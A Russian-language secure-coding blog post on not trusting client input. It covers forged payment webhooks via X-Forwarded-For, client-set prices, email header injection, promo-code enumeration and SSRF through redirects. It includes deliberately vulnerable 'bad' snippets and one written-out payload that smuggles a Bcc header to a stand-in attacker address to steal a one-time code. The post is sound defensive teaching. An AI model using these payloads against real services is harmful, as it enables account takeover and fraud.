Берегите очко смолоду
Часть 2 — про чужой ввод: тело запроса, заголовки, вебхуки и почему «выглядит правильно» ≠ «настоящее».
Что здесь важно для продукта#
Любая форма, API-метод, импорт CSV или webhook — это вход в систему. Если сервер принимает входящие данные как правду, пользователь или интеграция могут заставить продукт работать против своих правил.
Хорошая проверка не спорит с интерфейсом. Она стоит на сервере и каждый раз заново отвечает на вопросы: кто прислал данные, имеет ли он право так делать, не противоречит ли запрос состоянию системы.
Есть установка, которую стоит вытатуировать на внутренней стороне век любому, кто пишет бэкенд: данные, пришедшие снаружи, — это не факты, это заявки. Клиент может прислать что угодно и в любом виде. Если сервер принимает форму за подлинность, рано или поздно кто-то этим воспользуется. Разберём на конкретных ошибках.
«Оплата прошла», которой не было#
Классика жанра — вебхуки платёжных провайдеров. Сервис принимает уведомление «платёж успешен» и открывает доступ. Вопрос только в том, как он убеждается, что уведомление настоящее.
В одном случае «защита» была построена на IP: брали адрес из заголовка X-Forwarded-For и сверяли с allowlist. Беда в том, что без корректно настроенного trust proxy этот заголовок полностью контролируется тем, кто шлёт запрос. Подставляешь нужный IP строкой — и ты «провайдер». Тело при этом принималось на веру. Итог: «оплата прошла» подделывается за один curl.
// bad: доверяем заголовку, который клиент сам и прислал
const ip = req.headers["x-forwarded-for"];
if (allowlist.includes(ip)) markPaid(req.body.orderId);
Правильная логика зависит от того, есть ли у вебхука криптоподпись. Если есть — проверяем подпись тела секретом. Если подписи нет — единственная честная проверка — это перезапросить объект через API провайдера и считать источником правды его ответ, а не присланное тело.
// good: тело — лишь повод сходить и спросить у источника
const order = await provider.getOrder(req.body.orderId);
if (order.status === "paid") markPaid(order.id);
IP-allowlist без доверенного прокси даёт ложное чувство безопасности. А если trust proxy всё-таки нужен — настраивайте его строго под число реальных прокси перед приложением, а не «доверять всем».
Сумму считает сервер, а не клиент#
Рядом стоит ещё более наивная ошибка: клиент сам присылает сумму платежа в теле запроса, а сервер её не пересчитывает и проводит как есть.
// bad
createPayment({ plan: body.plan, amount: body.amount });
// good: сумма выводится на сервере из тарифа, клиентское значение игнорируется
const price = await prices.resolve(body.plan);
createPayment({ plan: body.plan, amount: price });
Цена, скидка, итог — это серверная арифметика. Всё, что прислал клиент про деньги, — это пожелание, а не данные.
Перевод строки, который угоняет аккаунт#
Одна из самых неприятных историй — инъекция через поле email при отправке письма с кодом подтверждения. Значение адреса подставлялось в письмо без строгой валидации, и в него можно было воткнуть перевод строки (CR/LF). А дальше — классический header injection: дописать скрытую копию письма и получить чужой OTP себе.
victim@example.com%0D%0ABcc:attacker@evil.test
Перехватил код — прошёл подтверждение — захватил аккаунт. Вишенка: «грязное» значение со спецсимволами ещё и сохранялось в базу как есть.
Лечится это не одной заплаткой, а слоем гигиены ввода:
- строгая валидация и нормализация:
trim, привести к нижнему регистру, проверка ReDoS-безопасным выражением, явный отказ при управляющих символах CR/LF; - получатель письма передаётся строго отдельным полем
to:, без склейки пользовательского значения в заголовки; - нормализация выполняется и на уровне DTO на входе, и ещё раз в сервисе — не полагаемся на то, что «там выше уже проверили».
Публичный ответ как оракул#
Был эндпоинт тарифов — обычный публичный GET. По форме ответа было видно, применилась скидка или нет. Этого хватило, чтобы без всякой авторизации перебирать промокоды: шлёшь код, смотришь, изменился ли ответ. Хуже того, «превью с промокодом» жило отдельной веткой кода, дублировало бизнес-логику и игнорировало лимиты применения.
Если по публичному ответу можно отличить «правильное» от «неправильного», он становится оракулом для перебора — вне зависимости от того, защищали вы что-то паролем или нет.
Урок: публичный ответ не должен подтверждать или опровергать существование секретного значения. Проверка промокода — это один защищённый эндпоинт с полной валидацией и лимитами, единственный источник истины для бизнес-правил. Никаких параллельных «облегчённых» копий логики.
SSRF и редиректы#
SSRF: сервис ходил по URL, который частично контролировал пользователь, и был allowlist разрешённых хостов. Проверяли исходный URL — он в списке, пропускаем. Но удалённый сервер отвечал редиректом на совсем другой хост, и клиент послушно шёл по нему. Allowlist проверили один раз, а уехали в итоге не туда.
// good: проверяем хост на каждом шаге, а не только в начале
async function safeFetch(url: string) {
let current = url;
for (let i = 0; i < MAX_REDIRECTS; i++) {
assertAllowedHost(current); // ре-валидация перед каждым запросом
const res = await fetch(current, { redirect: "manual" });
if (!isRedirect(res.status)) return res;
current = res.headers.get("location")!;
}
throw new Error("too many redirects");
}
Ре-валидация после каждого редиректа — единственный способ не дать увести запрос во внутреннюю сеть.
Сквозная мысль#
Если убрать частности, остаётся одно правило. Форма данных не доказывает их подлинность. Любой заголовок, любое поле, любой URL, который контролирует клиент, — это вход, а не истина. Подлинность даёт только то, что нельзя подделать снаружи: криптоподпись, перезапрос у доверенного источника, серверный пересчёт.
В следующей части — про аутентификацию и сессии: как проверки тихо отключаются на пустом конфиге, почему dev-обход доезжает до прода и что не так с вечными refresh-токенами.
Если в проекте есть формы, вебхуки, импорты, личные кабинеты или API для партнёров, важно понимать, чему там вообще можно верить. Напишите мне в Telegram или на почту — помогу пройти цепочку «вход → проверка → действие» и закрыть места, где чужие данные слишком быстро становятся правдой.



